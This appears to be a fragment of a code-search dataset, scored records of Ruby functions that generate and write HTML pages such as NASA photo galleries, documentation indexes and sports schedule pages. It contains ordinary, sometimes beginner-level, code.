media='print'\n body\n h1 #{@title}\n\n ol\n #{rows.join(\"\\n\").lstrip}\nEOF\n\n html = Rexle.new(Hlt.new(@sliml).to_html)\\\n .root.element('html').xml pretty: true\n File.write File.join(filepath, 'index.html'), html\n\n %w(layout style print).each \\\n {|x| File.write File.join(csspath, \"%s.css\" % x), ''}\n \n 'saved'\n \n end", "title": "" }, { "docid": "2751aab52ea103e91e4a25b84db3cfb3", "score": "0.6296492", "text": "def build_web_page resultados\n #resultados es un hash que tiene una llave llamada fotos\n\n # crear un archivo\n #construir un html con estructura dada\n #guardarlo en un archivo\n\n head = '<!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>Document</title>\n </head>\n <body>'\n \n# </body>\n# </html>\n urls = resultados['photos'].map {|photo| photo['img_src']}\n urls.each do |url|\n head += \"<li>>img src='#{url}'></li>'\"\n end \n #resultados['photos'].each do |photo| \n\n html += \"</ul></body></html>\"\n\n# meter al html en un archivo\n File.write('nasa.html', html)\n\n #file.open('nasa1.htmal', 'w') do |file|\n #file.write(html)\n #end\nend", "title": "" }, { "docid": "000126c2a25c9fdb2d6354744408ee21", "score": "0.628543", "text": "def build_web_page (hash)\n\n # Put info into a array\n content = []\n hash.each do |k, v|\n content = v\n end\n\n #Create a new file with data\n output = open(\"index.html\", \"w\")\n\n output.puts \"<html>\"\n output.puts \"<head>\"\n output.puts \"</head>\"\n output.puts \"<body>\"\n output.puts \"\\t<ul>\"\n\n #Creating body's items\n content.each do |i|\n\n i.each do |k, v|\n\n if k == \"id\" || k == \"sol\" || k == \"earth_date\"\n\n if k == \"id\" || k == \"sol\"\n output.puts \"\\t\\t<li>\"\n output.puts \"\\t\\t\\t<div>\"\n output.puts \"\\t\\t\\t\\t<h2>#{k}</h2>\"\n output.puts \"\\t\\t\\t\\t<h3>#{v}</h3>\" \n output.puts \"\\t\\t\\t</div>\"\n output.puts \"\\t\\t</li>\"\n else\n k = \"earth date\"\n output.puts \"\\t\\t<li>\"\n output.puts \"\\t\\t\\t<div>\"\n output.puts \"\\t\\t\\t\\t<h2>#{k}</h2>\"\n output.puts \"\\t\\t\\t\\t<h3>#{v}</h3>\" \n output.puts \"\\t\\t\\t</div>\"\n output.puts \"\\t\\t</li>\"\n end\n\n elsif k == \"camera\"\n\n output.puts \"\\t\\t<li>\"\n output.puts \"\\t\\t\\t<div>\"\n output.puts \"\\t\\t\\t\\t<h2>#{k}</h2>\"\n\n v.each do |k, v|\n output.puts \"\\t\\t\\t\\t<h3>#{k}</h3>\"\n output.puts \"\\t\\t\\t\\t<p>#{v}</p>\" \n end\n \n output.puts \"\\t\\t\\t</div>\"\n output.puts \"\\t\\t</li>\"\n\n elsif k == \"img_src\"\n\n output.puts \"\\t\\t\\t<div>\"\n output.puts \"\\t\\t\\t\\t<img src='#{v}'></img>\"\n output.puts \"\\t\\t\\t</div>\"\n\n elsif k == \"rover\"\n\n output.puts \"\\t\\t<li>\"\n output.puts \"\\t\\t\\t<div>\"\n\n output.puts \"\\t\\t\\t\\t<h2>#{k}</h2>\"\n v.each do |k, v|\n output.puts \"\\t\\t\\t\\t\\t<h3>#{k}</h3>\"\n output.puts \"\\t\\t\\t\\t\\t<p>#{v}</p>\" \n end\n\n output.puts \"\\t\\t\\t</div>\"\n output.puts \"\\t\\t</li>\"\n\n end\n \n end\n output.puts \"\\t\\t<hr>\"\n end\n\n #Close html structure\n output.puts \"\\t</ul>\"\n output.puts \"</body>\"\n output.puts \"</html>\"\n\nend", "title": "" }, { "docid": "a674149190e42ec5de6b541353d735e0", "score": "0.62386966", "text": "def generate_html\n File.open('/home/malfonzo/sandboxes/fondas/public/documentos/desembolso/envio/ver.html', 'w+') do |f1|\n f1.puts open('/home/malfonzo/sandboxes/fondas/app/views/solicitudes/orden_despacho_detalle/index.rhtml').read\n end\n end", "title": "" }, { "docid": "3628dff9bda4ca6d08c24b57123ea43b", "score": "0.62284225", "text": "def run\n File.write('%s/index.html' % [out_dir], TEMPLATES[:index].run({\n title: 'OpenSSL Speed Test Results',\n hosts: @html[:hosts],\n\n # intro links\n links: LINKS.map { |row|\n TEMPLATES[:link].run(row)\n }.join,\n\n # sections\n sections: SECTIONS.map { |arch|\n TEMPLATES[:section].run({\n svgs: @html[arch],\n }.merge(ARCHS[arch]))\n }.join,\n }))\n end", "title": "" }, { "docid": "17eb779d1df21fb909791b652b0c5e22", "score": "0.62219167", "text": "def gen_main_index\n template = TemplatePage.new(RDoc::Page::INDEX)\n File.open(\"index.html\", \"w\") do |f|\n tStr = \"\"\n #File.open(main_url, 'r') do |g|\n # tStr = markup(g)\n #end\n values = {\n \"initial_page\" => tStr,\n 'title' => CGI.escapeHTML(@options.title),\n 'charset' => @options.charset,\n 'content' => File.read('files/README.html')\n }\n \n values['inline_source'] = true\n template.write_html_on(f, values)\n end\n end", "title": "" }, { "docid": "ba62cc1a4d1f5029ade5eaff70a78625", "score": "0.6202924", "text": "def buid_web_page(hash)\n\n html = \"<html>\\n\"\n head =\"<head>\\n\"\n tittle = \"<title>Desafio Api Nasa</title>\\n\"\n cierre_head =\"</head>\\n\"\n body = \"<body>\\n\"\n h1= \"<h1>Desafio Api Nasa</h1>\\n\"\n ul = \"<ul style='display: flex;flex-wrap: wrap;justify-content: space-evenly;'>\\n\"\n li=\"\"\n #itera el hash con las imagenes\n hash.each do |k , v|\n li += \"<li style='list-style: none;'><img src='#{v}' style='width:300px;height:300px'></li>\\n\"\n end\n ciere_ul =\"</ul>\\n\"\n cierre_body =\"</body>\\n\"\n cierre_html=\"</html>\"\n\n #concatena las variables\n build = html+head+tittle+cierre_head+body+h1+ul+li+ciere_ul+cierre_body+cierre_html\n \n #genera un archivo html\n File.write('index.html', build)\n\nend", "title": "" }, { "docid": "e560f559934f7e15e6efabaec14643bc", "score": "0.6193837", "text": "def gen_page sport\n #get the html file name we want\n file_name = sport_name_generator sport\n #open page up\n file_name = @page_print_directory + file_name\n sport_file = File.new file_name, \"w\"\n #write the head and the opening body tag, and get the number of tabs returned\n tabs = write_doctype_head_and_open_body sport_file, sport.name\n \n sport_file.write (gen_tabs tabs) +\n \"<link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"..\\\\files\\\\style.css\\\" />\\n\"\n\n sport_file.write (gen_tabs tabs) + \"<div class=\\\"opening_information\\\">\\n\"\n tabs += 1\n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"h1\", (sport.name + \" Games and Stats\")) + \"\\n\"\n tabs += 1\n sport_file.write (gen_tabs tabs) + \"<div class=\\\"bordering\\\">\\n\"\n tabs += 1\n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"h1\", \"Table Coloring Key\") + \"\\n\"\n \n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"p\", \"Winning games are green!\",\n \"class=win\") + \"\\n\"\n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"p\", \"Losing games are red!\",\n \"class=loss\") + \"\\n\"\n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"p\", \"Games/events yet to be played are grey!\",\n \"class=incomplete\") + \"\\n\"\n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"p\", \"Games ending in a tie are yellow!\",\n \"class=tie\") + \"\\n\"\n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"p\", \"Games happening today are blue!\",\n \"class=today\") + \"\\n\"\n sport_file.write (gen_tabs tabs) +\n (gen_simple_tag \"p\", \"Cancelled Game/No Data Available\",\n \"class=no_data\") + \"\\n\"\n sport_file.write (gen_tabs tabs) + \"<a id=\\\"link_to_homepage\\\" href=\\\"home_page.html\\\">\\n\" \n tabs += 1\n sport_file.write (gen_tabs tabs) + \"Go Home!\\n\" \n tabs -= 1\n sport_file.write (gen_tabs tabs) + \"</a>\\n\" \n \n tabs -= 1\n sport_file.write (gen_tabs tabs) + \"</div>\\n\"\n tabs -= 1\n sport_file.write (gen_tabs tabs) + \"</div>\\n\"\n \n\n #Display stats for sport\n sport_file.write (gen_tabs tabs) + (gen_simple_tag \"h3\", \"Stats for \" +\n sport.name, \"class=\\\"stats_title\\\"\") + \"\\n\"\n sport_file.write (gen_statistics_table tabs, sport)\n \n #begin looping through and writing tables\n sport.months.each do |month|\n\n unless month.game_objects.length == 0\n sport_file.write (gen_tabs tabs) + \"<div>\\n\"\n tabs += 1\n sport_file.write ((gen_table(month, tabs)) + \"\\n\")\n \n sport_file.write (gen_tabs tabs) + \"<br />\\n\"\n tabs -= 1\n sport_file.write (gen_tabs tabs) + \"</div>\\n\\n\"\n end\n end\n\n #Add body and html closing tags, and then close the file writer.\n write_closing_body sport_file\n sport_file.close\n end", "title": "" }, { "docid": "fec2733f835e0088e832bcd5413b3603", "score": "0.61802167", "text": "def coverpage\n File.open(File.join(ARGV[2], \"index.html\"), \"w:UTF-8\") do |f|\n f.write @isodoc.populate_template(File.read(ARGV[1]))\n end\nend", "title": "" }, { "docid": "0b69284b545f94212a972f8f744ef055", "score": "0.61314726", "text": "def create_index(index_page)\n\t# names the file\n\tfilename = \"index.html\"\n\n\t# Opens the file and saves the info\n\tFile.open(filename, 'w') do |file|\n\t\tfile.puts index_page\n\tend\nend", "title": "" }, { "docid": "4750707caddbb131e41a1139902f8af0", "score": "0.61102265", "text": "def build_web_page(dato)\n photos = dato['photos'].map{|x| x['img_src']}\n html_inicio = \"<html>\\n<head>\\n</head>\\n<body>\\n<ul>\\n\"\n body = \"\"\n html_fin = \"</ul>\\n</body>\\n</html>\"\n photos.each do |photo|\n body += \"\\t<img src=\\\"#{photo}\\\">\\n\" # \\t tabulacion \\s espacio \\b backspace \\n salto de linea\n end\n File.write('output.html', html_inicio + body + html_fin) # Guardando el resultado del segundo metodo en un html\nend", "title": "" }, { "docid": "ccaec1132fe7fcedf5fe4166924707a7", "score": "0.60770077", "text": "def buid_web_page(data)\n array=data[\"photos\"].map {|x| x[\"img_src\"]}\n img = \"<html>\\n<head>\\n</head>\\n<body>\\n\\t<ul>\\n\"\n array.each do |x|\n img += \"\\t\\t<li><img src='#{x}'></li>\\n\"\n end\n img +=\"\\t</ul>\\n</body>\\n</html>\\n\"\n puts img\nFile.write(\"index.html\",img)\nend", "title": "" }, { "docid": "5e6dee591667c47bb0844793afafcf97", "score": "0.602792", "text": "def save_and_open_page\n return unless File.exist?(saved_page_dir)\n\n filename = \"#{saved_page_dir}/webrat-#{Time.now.to_i}.html\"\n \n File.open(filename, \"w\") do |f|\n f.write rewrite_css_and_image_references(response_body)\n end\n\n open_in_browser(filename)\n end", "title": "" }, { "docid": "93086f2c5c9816125c003757da476e2e", "score": "0.6011898", "text": "def generate_index\n write_file(\"index.html\", @renderer.render_page(Index.new(pages)))\n end", "title": "" }, { "docid": "6307400ff971dc3bbb9f1367d31ddf0a", "score": "0.6002798", "text": "def render()\n a = Dir[\"src/html/*.html\"]\n for file in a \n name = file.split('/').last\n `open -a \"Google Chrome\" $PWD/src/html/#{name}`\n end\nend", "title": "" }, { "docid": "50227cd5f68b2e6dcfd98121e3905c25", "score": "0.59883773", "text": "def generate_html\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n end", "title": "" }, { "docid": "6a2ee8e83b32a964c9318aed180316f1", "score": "0.598673", "text": "def write_index_file(html, sport)\n index = File.open('/home/pi/programming/ruby/dmsw/index.html', 'w')\n index.write(html)\n index.close\n $log.info(\"Successfully created new index.html.\")\n\n if sport == \"fb\"\n index = File.open('/home/pi/programming/ruby/dmsw/index.fb', 'w')\n index.write(html)\n index.close\n $log.info(\"Successfully created new index.fb.\")\n end\n\n if sport == \"bb\"\n index = File.open('/home/pi/programming/ruby/dmsw/index.bb', 'w')\n index.write(html)\n index.close\n $log.info(\"Successfully created new index.bb.\")\n end\n\nend", "title": "" }, { "docid": "a7fa53ae58afdb22a08c70ca51c6a94a", "score": "0.59755045", "text": "def generate_webpage(file_name)\n \ttext=File.open(file_name).read\n \ttext.gsub!(/\\r\\n?/, \"\")\n\n \tpage = File.open(\"version.html\",\"w\")\n\n \tpage.puts('<body style=\"padding-right:10%;padding-left:10%;margin-right:auto;margin-left:auto\">')\n\n \ttext.each_line do |line|\n \t\ths = JSON.parse(line)\n \t\tif ! hs[\"version\"].empty?\n \t\t\tpage.puts \"<h2>\" + \"version\" + hs[\"version\"] + \"</h2>\"\n \t\t\tpage.puts '<span style=\"font-size: 10pt\">Release Date:' + hs[\"release_date\"] + \"</span>\"\n \t\t\tpage.puts '<hr>'\n \t\telse\n \t\t\tpage.puts '<span style=\"font-size: 10pt\">Date:' + hs[\"release_date\"] + \"</span>\"\n \t\tend\n \t\tpage.puts \"<h3>features</h3>\"\n \t\tpage.puts '<ul>'\n \t\ths[\"features\"].each do |feature|\n \t\t\tpage.puts '<li>' + feature.to_s + '</li>'\n \t\tend\n \t\tpage.puts '</ul>'\n\n \t\tpage.puts \"<h3>issues</h3>\"\n \t\tpage.puts '<ul>'\n \t\ths[\"fix_issue\"].each do |issue|\n \t\t\tpage.puts '<li>' + issue.to_s + '</li>'\n \t\tend\n \t\tpage.puts '</ul>'\n \tend\n\n \tpage.puts('</body>')\n\n \tpage.close\n\n end", "title": "" }, { "docid": "946d1e444305d90ed041063beb3bd55a", "score": "0.5961529", "text": "def build_web_page(hash)#que reciba en hash de respuesta\n #con todos los datos y construya una pagina web\n #se evalúa la pagina creada y tiene que tener formato\n photos = hash[\"photos\"]\n\n html = \"<html>\\n\n <title>Fotos Api Nasa</title>\\n\n <head>\\n\n </head>\\n\n <body>\\n\n <h2>Bienvenidos a disfrutar las fotos del espacio desde la Nasa</h2>\\n\n <ul>\\n\"\n\n photos.map {|img| html += \"\\t<li><img src=#{img[\"img_src\"]} width='200px'></li>\\n\"}\n html += \"</ul>\\n</body>\\n</html>\"\n File.write('nasa_api.html', html)\nend", "title": "" }, { "docid": "5156ab3aa6bddd407e48b6eaee1c2639", "score": "0.59040266", "text": "def buid_web_page(entrada)\n inicio = \"<html>\\n<head>\\n</head>\\n<body>\\n<ul>\"\n img=\"\"\n final = \"\\n</ul>\\n</body>\\n</html>\"\n\n entrada.each do |key, valor|\n valor.each do |key2, valor2|\n key2.each do |key3, valor3|\n if key3 =='img_src'\n img += \"\\n\\t<li><img src='#{valor3}'></li>\"\n end\n end\n end\n end\n File.write('./index.html',inicio+img+final)\nend", "title": "" }, { "docid": "6125dea6351effd6a34d42e6c6a361e6", "score": "0.5903028", "text": "def write_to_html\n FileUtils.mkdir_p(directory_name)\n path = directory_name.join(html_filename)\n puts \"Writing guide to #{path}\"\n file_html = File.new(path, 'w+')\n file_html.puts rendered_string\n file_html.close\n end", "title": "" }, { "docid": "90ef817ea1f5d873ee7359c2f4fe3adc", "score": "0.58992404", "text": "def create_html(first_paragraph, second_paragraph)\n html = File.open('index.html', 'w')\n html.print \"<p>#{first_paragraph}</p>\\n\"\n html.print \"<p>#{second_paragraph}</p>\"\n html.close\nend", "title": "" }, { "docid": "3adb403bef81808b855a74c3564f3334", "score": "0.5897497", "text": "def robot\n render 'pages/robot.txt'\n end", "title": "" }, { "docid": "8f0f64fb74325323f77e47203b7a4571", "score": "0.58934146", "text": "def create_and_write_to_file(filename, content)\n File.open(\"public/gallery.html\", \"w\") do |file|\n file.write(top_html)\n file.write(image_tag_list(ARGV))\n file.write(bottom_html)\n end\nend", "title": "" }, { "docid": "58feb8e024a07726b0a8f7bbc0a1d133", "score": "0.5893173", "text": "def sourceToHTML\n # create new HTML folder\n if Dir.exist? @@folder_name\n # puts \"rm -rf #{@@folder_name}\"\n system 'rm', '-rf', @@folder_name\n Dir.mkdir @@folder_name\n else\n Dir.mkdir @@folder_name\n end\n\n c2WebPage\n writeIndexPage\n end", "title": "" }, { "docid": "71ac0c20690d08e6f0784120c7e5ef10", "score": "0.585476", "text": "def generate_index(gallery_name, url, gen_page)\n File.open(gallery_name + \"/index.textile\", 'w') do |f|\n # header\n f.puts <<-eos\n---\ntitle: #{File.basename(gallery_name)}\nlayout: gallery\n---\neos\n #\n # list of images, using a gallerific compatible markup\n # (ul.gallery > li > ( a > img.thumb | div.caption))\n #\n f.puts \"<ul class=\\\"gallery\\\">\"\n Dir.glob(\"#{gallery_name}/*.{jpg,png}\").each do |file|\n\n if not is_suffixed?(file)\n f.puts <<-eos\n <li>\n <a href=\\\"#{gen_link(url, file, gen_page)}\\\">\n <img src=\\\"#{gen_link(url, thumb_filename(file), false)}\\\" class=\\\"thumb\\\">\n </a>\n <div class=\\\"caption\\\">\n <span class=\\\"title\\\">#{File.basename(file)}</span> <br />\n #{exif_data_to_html(file)}\n </div>\n </li>\neos\n end\n end\n f.puts \"</ul>\"\n end\nend", "title": "" }, { "docid": "23c246cb93eb6550cc00c7d0b44c2efe", "score": "0.5854115", "text": "def writeWebPage\n File.open(@dest, \"w\") do |output|\n @out = output\n @out.puts @@templatefront\n writeHtmlBody\n @out.puts @@templateend\n end\n end", "title": "" }, { "docid": "67f52f4defc306ac4295402afc534b43", "score": "0.58392334", "text": "def make_search_page(search_page)\n\t# Name is search.html \n\tfilename = \"search.html\"\n\n\t# Rewrite the search page with our new info\n\tFile.open(filename, 'w') do |file|\n\t\tfile.puts search_page\n\tend\nend", "title": "" }, { "docid": "ee1a2e26abb02553ea8419f017f53571", "score": "0.58330834", "text": "def render\n @sequences.each do |seq|\n target = get_and_prepare_target(seq.page.path)\n content = seq.render\n File.open(target, \"w\") do |file|\n file.puts content\n end\n end\n \n end", "title": "" }, { "docid": "7cc9e50b92540405e7ccd30fe056405f", "score": "0.5831289", "text": "def generate\n \n e = ERB.new(open('template/webpage.html.erb').read)\n\n root_page = write_page(@root_page, e)\n\n root_page\n end", "title": "" }, { "docid": "5607ef9cf401bd5b61634263b3ad233a", "score": "0.5831052", "text": "def make_page(work)\n guid = [Page.sanitize(work.make)].join('/')\n get_page(guid)\n end", "title": "" }, { "docid": "74df14997488a6ffad5a6228e5835f2b", "score": "0.58261675", "text": "def init_html(bin,cmd)\n \n require ENV['TM_SUPPORT_PATH'] + '/lib/web_preview'\n\n puts html_head( :window_title => \"ActionScript 3 Build Command\",\n :page_title => \"Build (#{bin})\",\n :sub_title => cmd.file_specs_name )\n\n puts \"<h2>Building...</h2>\"\n puts \"<p><pre>-file-specs=#{cmd.file_specs}\"\n puts \"-o=#{cmd.o}</pre></p>\" \n \n end", "title": "" }, { "docid": "f6fc2acd416de7eac299ed0d619e08ae", "score": "0.5813202", "text": "def topage()\n\"<html>\n<head>\n<link rel='stylesheet' href='style.css'>\n</head>\n<body>\n <header>\n <h1>IMAGENES DE LA NASA</h1>\n </header>\n <section>\n <ul>\"\nend", "title": "" }, { "docid": "5d08431a23ef0a07d00160f7838e993e", "score": "0.58063203", "text": "def write_index_html\n index_html = File.join(dir, INDEX_HTML)\n \n File.open(index_html, 'w') { |html|\n generate(html)\n }\n puts \"Generated #{index_html}\"\n end", "title": "" }, { "docid": "0a8b0903eaae788a31ee5155b7a6d608", "score": "0.5791868", "text": "def show_me_the_page\n filename = File.join('tmp', \"#{Time.now.strftime('%Y-%m-%d %T')}.html\")\n File.open(filename, 'w') { |f| f.write(last_response.body) }\n Launchy.open(filename)\n end", "title": "" }, { "docid": "0b0d37b868b9266f81af35d93bfb4d74", "score": "0.57541776", "text": "def write_index_page\n File.write(path.join('index.html'), index_page)\n\n self\n end", "title": "" }, { "docid": "587677e43336bb0038f49b5b644f6529", "score": "0.57521206", "text": "def buid_web_page(data)\n\n puts \"==============================\"\n \n images = data['photos'].map { |x| x['img_src'] }\n\n doc_html = \"<html>\\n<head>\\n</head>\\n<body>\\n<ul>\\n\"\n images.each do |photo|\n doc_html += \"\\t<li><img src='#{photo}'></li>\\n\"\n end\n doc_html += \"</ul>\\n</body>\\n</html>\"\n\n File.write('photos.html', doc_html)\nend", "title": "" }, { "docid": "c982ce674beda0deb1397864f1ae9df9", "score": "0.575011", "text": "def generate(html)\n title = 'Index of ' + dir.unfix(ROOT, '/')\n header = <<END\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n\"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<title>#{title}</title>\n<link rel=\"stylesheet\" href=\"/toc.css\" />\n</head>\n<body>\n<h3>#{title}</h3>\nEND\n \n html << header\n unless dir == ROOT\n d = File.dirname(dir).unfix(ROOT) + '/'\n html.puts \"<p><a href=\\\"#{d}\\\" class=\\\"folder_up\\\">Up to higher level directory</a></p>\"\n end\n html.puts '<ul class=\"dirlist\">'\n subdirs.each { |subdir|\n d = File.basename(subdir)\n html.puts \"<li class=\\\"folder\\\"><a href=\\\"#{d}/\\\">#{d}</a></li>\"\n }\n filenames.each { |filename|\n ext = File.extname(filename).unfix('.')\n cl = \" class=\\\"#{EXT_MAP[ext]}\\\"\" if EXT_MAP[ext]\n html.puts \"<li#{cl if cl}><a href=\\\"#{filename}\\\">#{filename}</a></li>\"\n }\n html << FOOTER\n end", "title": "" }, { "docid": "c5a7625f786375a4abee70aa97301e92", "score": "0.57493526", "text": "def render_index\n @title = build_title('Index')\n @thumbnails = @works.first(10)\n @navigation = make_names\n {html: render(:index), filename: 'index'}\n end", "title": "" }, { "docid": "40c7c482a819784388ffd0c6213a4466", "score": "0.57332855", "text": "def page(browser, name)\n file_name = name.tr(' ', '_').snakecase\n relative_path = File.join('img', \"#{file_name}.png\")\n full_file_name = File.join(doc_folder, relative_path)\n begin\n browser.screenshot.save full_file_name\n rescue Selenium::WebDriver::Error::WebDriverError => e\n puts e.message\n end\n add_text_to_file \"![#{name}](#{relative_path})\"\n end", "title": "" }, { "docid": "37f4c426a8633392d387c1ac930824f0", "score": "0.57294357", "text": "def create_project_file\n template = TemplatePage.new(RDoc::Page::HPP_FILE)\n values = { \"title\" => @options.title, \"opname\" => @op_name }\n files = []\n @files.each do |f|\n\tfiles << { \"html_file_name\" => f.path }\n end\n\n values['all_html_files'] = files\n \n File.open(@project_name, \"w\") do |f|\n template.write_html_on(f, values)\n end\n end", "title": "" }, { "docid": "24775736c2693046dafd33fb02d279fd", "score": "0.57218224", "text": "def generate_web_page(file_descriptions_by_ext_by_fname, properties)\n # Copy the text field/content from properties to file_descriptions_by_ext_by_fname\n file_descriptions_by_ext_by_fname.each{|ext,descs|\n descs.each_key{|fname|\n file_descriptions_by_ext_by_fname[ext][fname] = properties[get_prop_key(ext, fname)][:text]\n }\n }\n\n # Setup the tag/substitution strings for the html template\n tag_var_pairs = {\n \"TAG_PAGE_TITLE\"\t\t=> CGI::escapeHTML(properties[\"TAG_PAGE_TITLE\"][:text]),\n \"TAG_PAGE_DESCRIPTION\"\t=> CGI::escapeHTML(properties[\"TAG_PAGE_DESCRIPTION\"][:text]),\n \"TAG_PAGE_BODY\"\t\t=> create_html_block_links2files(file_descriptions_by_ext_by_fname),\n \"TAG_LAST_UPDATED\"\t\t=> Time.now.strftime('%d %b %Y'),\n }\n\n # Substitute any tags we find with the corresponding replacement string\n html_str = ''\n File.foreach(HTML_TEMPLATE){|line|\n tag_var_pairs.each{|tag,repl_str|\n line.sub!(\"#{HTML_REPLACEMENT_TAG_REGEX1}#{tag}#{HTML_REPLACEMENT_TAG_REGEX2}\", repl_str)\n }\n html_str << line\n }\n html_str\nend", "title": "" }, { "docid": "477bdf10d1cd8c063545f879ab2a3c32", "score": "0.5721535", "text": "def buid_web_page list_hash\n #Captura de hash\n response = list_hash\n #construccion de html\n result = \"\\r<html>\\n\\r\\t<head>\\n\\r\\t</head>\\n\\r\\t<body>\\n\\r\\t\\t<ul>\"\n #Iteracion de hashes y busqueda de fotos\n response['photos'].count.times do |i| \n result += \"\\n\\r\\t\\t\\t<li><img src='#{response['photos'][i]['img_src']}'></li>\" \n end\n #construccion de html\n result += \"\\n\\r\\t\\t</ul>\\n\\r\\t</body>\\n\\r</html>\"\n #Exportar html a un archivo\n File.write(\"index.html\",result)\nend", "title": "" }, { "docid": "c3c60524a87eb7f4b7c707578254ae2a", "score": "0.5718285", "text": "def render_camera_models\n model_names.map do |model|\n make = make_for_model(model)\n @title = build_title(\"Camera make #{make}, and model #{model}\")\n @thumbnails = works_with_make_and_model(make, model)\n @navigation = [make]\n {html: render(:model), filename: slug(model)}\n end\n end", "title": "" }, { "docid": "434a153633f970cd2ec54d543d11a372", "score": "0.570782", "text": "def createIndexFile\n\t\n\tindexContent = String.new # Holds the content in HTML format\n\t\n\tindexContent << indexHeader\n\tindexContent << \"<h1>\" + @siteName + \"</h1>\" # Insert title\n\tindexContent << @indexIntroText + \"<hr>\"\n\t\n\t# Loop through the content and get the first and second items in the Array\n\t@content.each do |object|\n\t\n\t\t# Get the title. We want to make this a link\n\t\titem1 = object [0]\n\t\titem2 = object [1]\n\t\t\n\t\t# Make a link out of item 1\n\t\tlink = \"contentpages/\" + item1.scan(/\\w+/).join('_') + \".html\"\n\t\t\n\t\t# build the item information\n\t\tentryString = \"<h3><a href=\\\"\" + link + \"\\\">\" + item1 +\t\"</a></h3><p>\" + item2 + \"<\\p>\"\n\t\n\t\tindexContent << entryString\n\t\t\n\tend\n\t\n\tindexContent << footer\n\t\n\tfilename = \"site/index.html\"\n\tiFile = File.new(filename, \"w\")\n\tiFile.write(indexContent)\n\tiFile.close\n\n\n\nend", "title": "" }, { "docid": "88154102d4f85e1b112adcea16344a28", "score": "0.57045966", "text": "def update_home website, trigger=false\n preview = website.preview\n dest = get_dest_path preview\n terminal_add preview, terminal_info(I18n.t('preview.message.job.home'))\n path = Rails.root.join(dest, \"index.md\")\n\n if is_new path, website\n top_image = Image.where({\n imageable_type: 'Website',\n imageable_id: website.id,\n name: 'top'\n }).first\n copy_image top_image, dest, true, true\n bottom_image = Image.where({\n imageable_type: 'Website',\n imageable_id: website.id,\n name: 'bottom'\n }).first\n copy_image bottom_image, dest, true, true\n puts \"============== WRITE => #{path}\"\n File.open(path, \"w\") do |file| \n head = [\n \"---\",\n \"#--------------\",\n \"# Modèle page d'accueil\",\n \"#--------------\",\n \"# Creation date\",\n \"created: #{website.created_at.to_f}\",\n \"# Last update\",\n \"updated: #{website.updated_at.to_f}\",\n \"# Ne pas modifier cette section pour les débutants!\",\n \"layout: home\",\n \"permalink: /\",\n \"# Ordre de la page, au minimum pour la page d'accueil\",\n \"pos: 0\",\n \"# Affiche le lien dans le menu\",\n \"show: true\",\n \"#--------------\",\n \"# Section à personnaliser\",\n \"# Titre pour le menu et la navigation\",\n \"title: #{website.home_title}\",\n \"# Icone de la page\",\n \"icon: #{website.home_icon}\",\n \"# Titre principal sur la première image\",\n \"top-title: #{website.top_title}\",\n \"# Texte en sous titre\",\n \"top-intro: #{website.top_intro}\",\n \"# Top image\",\n \"top-image: #{File.dirname(top_image.upload.url)}\",\n \"# Titre principal sur la deuxième image\",\n \"bottom-title: #{website.bottom_title}\",\n \"# Texte en sous titre\",\n \"bottom-intro: #{website.bottom_intro}\",\n \"# Bottom image\",\n \"bottom-image: #{File.dirname(bottom_image.upload.url)}\",\n \"# Titre pour les articles mis en avant\",\n \"featured-title: #{website.featured_title}\",\n \"# Afficher ou non le contenu markdown\",\n \"show-content: #{website.show_markdown}\",\n \"---\",\n \"#{website.markdown}\"\n\n ]\n file << head.join(\"\\n\")\n end\n if trigger\n terminal_add preview, terminal_trigger(\n I18n.t('preview.trigger.page'), \"/\")\n end \n end\n end", "title": "" }, { "docid": "1eaaa31ef1481ffc5413ac36572cecb8", "score": "0.5703354", "text": "def construct_index_object\n @html_objects['Index'] = HTMLFile.new({\n title: \"Index\",\n type: ''\n })\n\n @html_objects['Index'].nav_links = @all_make_objects.keys.map do |key|\n {title: key, type: 'make'}\n end\n\n @html_objects['Index'].thumbnails = @first_ten_thumbnails\n end", "title": "" }, { "docid": "a55a859ebe6bf046d957d5bf985de8f3", "score": "0.5698709", "text": "def init_html(cmd)\n\n require ENV['TM_SUPPORT_PATH'] + '/lib/web_preview'\n\n puts html_head( :window_title => \"ActionScript 3 Build Command\",\n :page_title => \"Build (#{cmd.name})\",\n :sub_title => cmd.file_specs_name )\n\n puts \"<h2>Building...</h2>\"\n puts \"<p><pre>#{cmd.to_s}</pre></p>\"\n\n end", "title": "" }, { "docid": "fc4daf0178bf5d3f3e46c316fb669f8a", "score": "0.56930166", "text": "def print\n File.open(\"#{DIRECTORY_PATH}/spy.html\", \"w\") do |file|\n file.puts content\n end\n end", "title": "" }, { "docid": "71cd9a0cc2d78776abfadf96ad834243", "score": "0.5654332", "text": "def make_command_index_page(mdl, output)\n h = make_header(mdl)\n a = mdl.link(RME::Doc.vocab[:index], index(mdl))\n a = a + \" > \" + mdl.strong(RME::Doc.vocab[:cmd_title])\n l = mdl.ul\n Hash[RME::Doc.commands.sort].each do |c, command|\n l = make_command_page(mdl, c, command, l, output)\n end\n l += mdl.end_ul\n page = h + a + mdl.line + l + mdl.footer\n File.open(output + \"/\" + cmdindex(mdl), 'w'){|f| f.write(page)}\n p \"#{cmdindex(mdl)} created!\"\n end", "title": "" }, { "docid": "34cbab19ab20e2e89a031fec87cf523e", "score": "0.56425554", "text": "def generate_html \n @property_page = generate_property_html\n @structure_page = generate_structure_html\n @maint_page = generate_maintenance_html\n @project_page = generate_project_html\n @appliance_page = generate_appliance_html\n @paint_page = generate_paint_html\n @contactor_page = generate_contractor_html\n @plan_page = generate_plan_html\n \n @html_start = %Q{\n <html>\n <head>\n <title>HomeBinder.com Report</title>\n <link href=\"http://s3.amazonaws.com/homebinderstatic/stylesheets/bootstrap.min.css\" media=\"all\" rel=\"stylesheet\" 